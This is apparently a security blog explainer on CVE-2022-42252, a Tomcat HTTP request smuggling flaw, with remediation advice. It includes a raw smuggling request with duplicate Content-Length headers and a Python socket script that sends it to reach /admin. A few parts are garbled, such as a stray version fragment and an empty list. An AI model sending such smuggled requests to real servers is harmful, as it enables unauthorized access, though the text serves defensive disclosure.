Apache Tomcat is one of the internet’s most trusted open-source web servers for running Java applications. But like all software, Tomcat can sometimes give attackers surprising opportunities. CVE-2022-42252 is one of those—allowing attackers to sneak malicious requests past your defenses through a technique called HTTP Request Smuggling. In this long read, we’ll break down what this bug means, demonstrate code and attack steps, and share what you must do to stay safe.
10.1.-M1 to 10.1.
The root cause? Tomcat, by default (in 8.5.x), does NOT reject HTTP requests with invalid HTTP headers—if you set the rejectIllegalHeader configuration value to false, Tomcat will process the request anyway.
If there is a Content-Length header with an invalid value (not a number, duplicate, negative, huge), Tomcat ignores the error. Now, imagine Tomcat is sitting behind a reverse proxy (like Nginx or Apache HTTPD) that ALSO fails to reject these bad requests. Congratulations: you now have the ingredients for a Request Smuggling attack.
Why is This Dangerous?
Request Smuggling lets attackers “desynchronize” the reverse proxy and the backend application server. That means the frontend (proxy) thinks a request has ended, but the backend (Tomcat) believes there’s more data. The attacker can then "smuggle" an extra request through the first user’s connection. This can allow for:
Vulnerable Setup
*Tomcat behind a reverse proxy (Nginx, Apache HTTPD, AWS ALB, etc)*
Example HTTP Request
POST / HTTP/1.1
Host: target.com
Content-Length: 5
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
abcdePOST /admin HTTP/1.1
Host: target.com
Explanation:
Proxy might look at Content-Length: 5 and think the body is 5 bytes ("abcde").
- Tomcat might process Content-Length: 13 and read extra data, interpreting "POST /admin..." as a new request.
- This creates a request desync. The “smuggled” request (POST /admin) can be processed in context of the next real user.
Here’s a basic script to send such a request
import socket
HOST = 'target.com'
PORT = 80
raw_request = (
"POST / HTTP/1.1\r\n"
"Host: target.com\r\n"
"Content-Length: 5\r\n"
"Content-Length: 13\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"\r\n"
"abcdePOST /admin HTTP/1.1\r\n"
"Host: target.com\r\n"
"\r\n"
)
with socket.create_connection((HOST, PORT)) as sock:
sock.sendall(raw_request.encode())
print(sock.recv(4096).decode())
Check your Tomcat configs
<Connector port="808" protocol="HTTP/1.1"
rejectIllegalHeader="true" />
Best practice is to explicitly set rejectIllegalHeader="true".
Testing:
You can use tools like smuggler or Burp Suite’s HTTP Smuggler extension to hunt for vulnerabilities.
Tomcat 10.1.1 or later
Official advisory:
- Apache Tomcat Security Advisory - CVE-2022-42252
- Tomcat changelog
If you cannot immediately upgrade, at least configure
<Connector ... rejectIllegalHeader="true" ... />
And reload Tomcat.
Harden Your Reverse Proxy Too
- Set up the reverse proxy (Nginx, Apache HTTPD, AWS ELB, etc.) to reject abnormal or duplicate headers.
References & Resources
- Official CVE Record: CVE-2022-42252
- Apache Tomcat Security Advisory
- PortSwigger: HTTP Request Smuggling Explained
- Smuggler Tool (GitHub)
- Tomcat Configuration Reference
Final Thoughts
If you run a web application using Tomcat, especially with a reverse proxy, and especially on 8.5.x, CVE-2022-42252 should be on your radar. HTTP Request Smuggling is tricky and dangerous. Take an hour to review your configuration, set or upgrade the rejectIllegalHeader value, and test your environment for signs of vulnerability.
Stay patched and stay sharp!
*If you found this helpful, let others know they should check for CVE-2022-42252 before they learn about it the hard way! For questions or tips, contact the Tomcat security team or chime in on community forums.*
Timeline
Published on: 11/01/2022 09:15:00 UTC
Last modified on: 05/30/2023 06:15:00 UTC